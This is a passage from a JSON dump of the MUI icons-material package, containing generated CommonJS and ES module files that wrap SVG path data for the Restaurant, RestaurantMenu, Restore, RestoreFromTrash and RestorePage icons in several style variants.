    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83-6.19-6.18c-.48-.48-1.31-.35-1.61.27-.71 1.49-.45 3.32.78 4.56zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L4.4 19.17c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0L12 14.41l6.18 6.18c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41L13.41 13z\"\n}), 'RestaurantMenuRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantMenuSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'RestaurantMenuSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantMenuSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm6.78-1.81c1.53.71 3.68.21 5.27-1.38 1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13z\"\n}), 'RestaurantMenuSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantMenuTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm12.05-3.19c1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13l1.47-1.47c1.53.71 3.68.21 5.27-1.38\"\n}), 'RestaurantMenuTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantMenuTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m8.1 13.34 2.83-2.83L3.91 3.5c-1.56 1.56-1.56 4.09 0 5.66zm12.05-3.19c1.91-1.91 2.28-4.65.81-6.12-1.46-1.46-4.2-1.1-6.12.81-1.59 1.59-2.09 3.74-1.38 5.27L3.7 19.87l1.41 1.41L12 14.41l6.88 6.88 1.41-1.41L13.41 13l1.47-1.47c1.53.71 3.68.21 5.27-1.38\"\n}), 'RestaurantMenuTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6v8h3v8h2V2c-2.76 0-5 2.24-5 4m-5 3H9V2H7v7H5V2H3v7c0 2.21 1.79 4 4 4v9h2v-9c2.21 0 4-1.79 4-4V2h-2z\"\n}), 'RestaurantOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6v8h3v8h2V2c-2.76 0-5 2.24-5 4m-5 3H9V2H7v7H5V2H3v7c0 2.21 1.79 4 4 4v9h2v-9c2.21 0 4-1.79 4-4V2h-2z\"\n}), 'RestaurantOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6v6c0 1.1.9 2 2 2h1v7c0 .55.45 1 1 1s1-.45 1-1V3.13c0-.65-.61-1.13-1.24-.98C17.6 2.68 16 4.51 16 6m-5 3H9V3c0-.55-.45-1-1-1s-1 .45-1 1v6H5V3c0-.55-.45-1-1-1s-1 .45-1 1v6c0 2.21 1.79 4 4 4v8c0 .55.45 1 1 1s1-.45 1-1v-8c2.21 0 4-1.79 4-4V3c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'RestaurantRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6v6c0 1.1.9 2 2 2h1v7c0 .55.45 1 1 1s1-.45 1-1V3.13c0-.65-.61-1.13-1.24-.98C17.6 2.68 16 4.51 16 6m-5 3H9V3c0-.55-.45-1-1-1s-1 .45-1 1v6H5V3c0-.55-.45-1-1-1s-1 .45-1 1v6c0 2.21 1.79 4 4 4v8c0 .55.45 1 1 1s1-.45 1-1v-8c2.21 0 4-1.79 4-4V3c0-.55-.45-1-1-1s-1 .45-1 1z\"\n}), 'RestaurantRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6v8h3v8h2V2c-2.76 0-5 2.24-5 4m-5 3H9V2H7v7H5V2H3v7c0 2.21 1.79 4 4 4v9h2v-9c2.21 0 4-1.79 4-4V2h-2z\"\n}), 'RestaurantSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6v8h3v8h2V2c-2.76 0-5 2.24-5 4m-5 3H9V2H7v7H5V2H3v7c0 2.21 1.79 4 4 4v9h2v-9c2.21 0 4-1.79 4-4V2h-2z\"\n}), 'RestaurantSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 6v8h3v8h2V2c-2.76 0-5 2.24-5 4m-5 3H9V2H7v7H5V2H3v7c0 2.21 1.79 4 4 4v9h2v-9c2.21 0 4-1.79 4-4V2h-2z\"\n}), 'RestaurantTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestaurantTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 6v8h3v8h2V2c-2.76 0-5 2.24-5 4m-5 3H9V2H7v7H5V2H3v7c0 2.21 1.79 4 4 4v9h2v-9c2.21 0 4-1.79 4-4V2h-2z\"\n}), 'RestaurantTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Restore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.28 2.54.72-1.21-3.5-2.08V8z\"\n}), 'Restore');"
  },
  {
    "path": "packages/mui-icons-material/lib/Restore.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l3.89 3.89.07.14L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.28 2.54.72-1.21-3.5-2.08V8z\"\n}), 'Restore');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreFromTrash.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 4h-3.5l-1-1h-5l-1 1H5v2h14zM6 7v12c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7zm8 7v4h-4v-4H8l4-4 4 4z\"\n}), 'RestoreFromTrash');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreFromTrash.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 4h-3.5l-1-1h-5l-1 1H5v2h14zM6 7v12c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7zm8 7v4h-4v-4H8l4-4 4 4z\"\n}), 'RestoreFromTrash');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreFromTrashOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.5 4-1-1h-5l-1 1H5v2h14V4zM6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zm2-5V9h8v10H8zm2 4h4v-4h2l-4-4-4 4h2z\"\n}), 'RestoreFromTrashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreFromTrashOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.5 4-1-1h-5l-1 1H5v2h14V4zM6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zm2-5V9h8v10H8zm2 4h4v-4h2l-4-4-4 4h2z\"\n}), 'RestoreFromTrashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreFromTrashRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2zm5.65-8.65c.2-.2.51-.2.71 0L16 14h-2v4h-4v-4H8zM15.5 4l-.71-.71c-.18-.18-.44-.29-.7-.29H9.91c-.26 0-.52.11-.7.29L8.5 4H6c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'RestoreFromTrashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreFromTrashRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V9c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2zm5.65-8.65c.2-.2.51-.2.71 0L16 14h-2v4h-4v-4H8zM15.5 4l-.71-.71c-.18-.18-.44-.29-.7-.29H9.91c-.26 0-.52.11-.7.29L8.5 4H6c-.55 0-1 .45-1 1s.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'RestoreFromTrashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreFromTrashSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 21h12V7H6zm6-11 4 4h-2v4h-4v-4H8zm3.5-6-1-1h-5l-1 1H5v2h14V4z\"\n}), 'RestoreFromTrashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreFromTrashSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 21h12V7H6zm6-11 4 4h-2v4h-4v-4H8zm3.5-6-1-1h-5l-1 1H5v2h14V4z\"\n}), 'RestoreFromTrashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreFromTrashTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 14h-2v4h-4v-4H8v5h8zm0 0V9H8v5l4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zm2-5V9h8v10H8zm7.5-10-1-1h-5l-1 1H5v2h14V4zM10 18h4v-4h2l-4-4-4 4h2z\"\n}, \"1\")], 'RestoreFromTrashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreFromTrashTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 14h-2v4h-4v-4H8v5h8zm0 0V9H8v5l4-4z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19c0 1.1.9 2 2 2h8c1.1 0 2-.9 2-2V7H6zm2-5V9h8v10H8zm7.5-10-1-1h-5l-1 1H5v2h14V4zM10 18h4v-4h2l-4-4-4 4h2z\"\n}, \"1\")], 'RestoreFromTrashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 3.99L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.28-3.52-2.09V8z\"\n}), 'RestoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 3c-4.97 0-9 4.03-9 9H1l4 3.99L9 12H6c0-3.87 3.13-7 7-7s7 3.13 7 7-3.13 7-7 7c-1.93 0-3.68-.79-4.94-2.06l-1.42 1.42C8.27 19.99 10.51 21 13 21c4.97 0 9-4.03 9-9s-4.03-9-9-9m-1 5v5l4.25 2.52.77-1.28-3.52-2.09V8z\"\n}), 'RestoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestorePage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm-2 16c-2.05 0-3.81-1.24-4.58-3h1.71c.63.9 1.68 1.5 2.87 1.5 1.93 0 3.5-1.57 3.5-3.5S13.93 9.5 12 9.5c-1.35 0-2.52.78-3.1 1.9l1.6 1.6h-4V9l1.3 1.3C8.69 8.92 10.23 8 12 8c2.76 0 5 2.24 5 5s-2.24 5-5 5\"\n}), 'RestorePage');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestorePage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm-2 16c-2.05 0-3.81-1.24-4.58-3h1.71c.63.9 1.68 1.5 2.87 1.5 1.93 0 3.5-1.57 3.5-3.5S13.93 9.5 12 9.5c-1.35 0-2.52.78-3.1 1.9l1.6 1.6h-4V9l1.3 1.3C8.69 8.92 10.23 8 12 8c2.76 0 5 2.24 5 5s-2.24 5-5 5\"\n}), 'RestorePage');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestorePageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7.17L18 8.83zm-9.55-9.43L7.28 9.4V13h3.6l-1.44-1.44c.52-1.01 1.58-1.71 2.79-1.71 1.74 0 3.15 1.41 3.15 3.15s-1.41 3.15-3.15 3.15c-1.07 0-2.02-.54-2.58-1.35H8.1c.69 1.58 2.28 2.7 4.12 2.7 2.48 0 4.5-2.02 4.5-4.5s-2.02-4.5-4.5-4.5c-1.59 0-2.97.83-3.77 2.07\"\n}), 'RestorePageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestorePageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7.17L18 8.83zm-9.55-9.43L7.28 9.4V13h3.6l-1.44-1.44c.52-1.01 1.58-1.71 2.79-1.71 1.74 0 3.15 1.41 3.15 3.15s-1.41 3.15-3.15 3.15c-1.07 0-2.02-.54-2.58-1.35H8.1c.69 1.58 2.28 2.7 4.12 2.7 2.48 0 4.5-2.02 4.5-4.5s-2.02-4.5-4.5-4.5c-1.59 0-2.97.83-3.77 2.07\"\n}), 'RestorePageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestorePageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42M12 18c-1.65 0-3.19-.81-4.12-2.17-.23-.34-.15-.81.19-1.04.34-.24.81-.15 1.04.19.65.95 1.73 1.52 2.88 1.52 1.93 0 3.5-1.57 3.5-3.5S13.93 9.5 12 9.5c-1.33 0-2.52.74-3.11 1.89L10.5 13H7c-.28 0-.5-.22-.5-.5V9l1.3 1.3C8.71 8.89 10.26 8 12 8c2.76 0 5 2.24 5 5s-2.24 5-5 5\"\n}), 'RestorePageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestorePageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.41 7.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.42M12 18c-1.65 0-3.19-.81-4.12-2.17-.23-.34-.15-.81.19-1.04.34-.24.81-.15 1.04.19.65.95 1.73 1.52 2.88 1.52 1.93 0 3.5-1.57 3.5-3.5S13.93 9.5 12 9.5c-1.33 0-2.52.74-3.11 1.89L10.5 13H7c-.28 0-.5-.22-.5-.5V9l1.3 1.3C8.71 8.89 10.26 8 12 8c2.76 0 5 2.24 5 5s-2.24 5-5 5\"\n}), 'RestorePageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestorePageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h16V8zm-2 16c-2.05 0-3.81-1.24-4.58-3h1.71c.63.9 1.68 1.5 2.87 1.5 1.93 0 3.5-1.57 3.5-3.5S13.93 9.5 12 9.5c-1.35 0-2.52.78-3.1 1.9l1.6 1.6h-4V9l1.3 1.3C8.69 8.92 10.23 8 12 8c2.76 0 5 2.24 5 5s-2.24 5-5 5\"\n}), 'RestorePageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestorePageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h16V8zm-2 16c-2.05 0-3.81-1.24-4.58-3h1.71c.63.9 1.68 1.5 2.87 1.5 1.93 0 3.5-1.57 3.5-3.5S13.93 9.5 12 9.5c-1.35 0-2.52.78-3.1 1.9l1.6 1.6h-4V9l1.3 1.3C8.69 8.92 10.23 8 12 8c2.76 0 5 2.24 5 5s-2.24 5-5 5\"\n}), 'RestorePageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RestorePageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 4v16h12V8.83L13.17 4zm10.72 9c0 2.48-2.02 4.5-4.5 4.5-1.84 0-3.43-1.12-4.12-2.7h1.54c.57.81 1.51 1.35 2.58 1.35 1.74 0 3.15-1.41 3.15-3.15s-1.41-3.15-3.15-3.15c-1.21 0-2.27.7-2.79 1.71L10.88 13h-3.6V9.4l1.17 1.17c.8-1.24 2.19-2.07 3.78-2.07 2.48 0 4.49 2.02 4.49 4.5\",\n  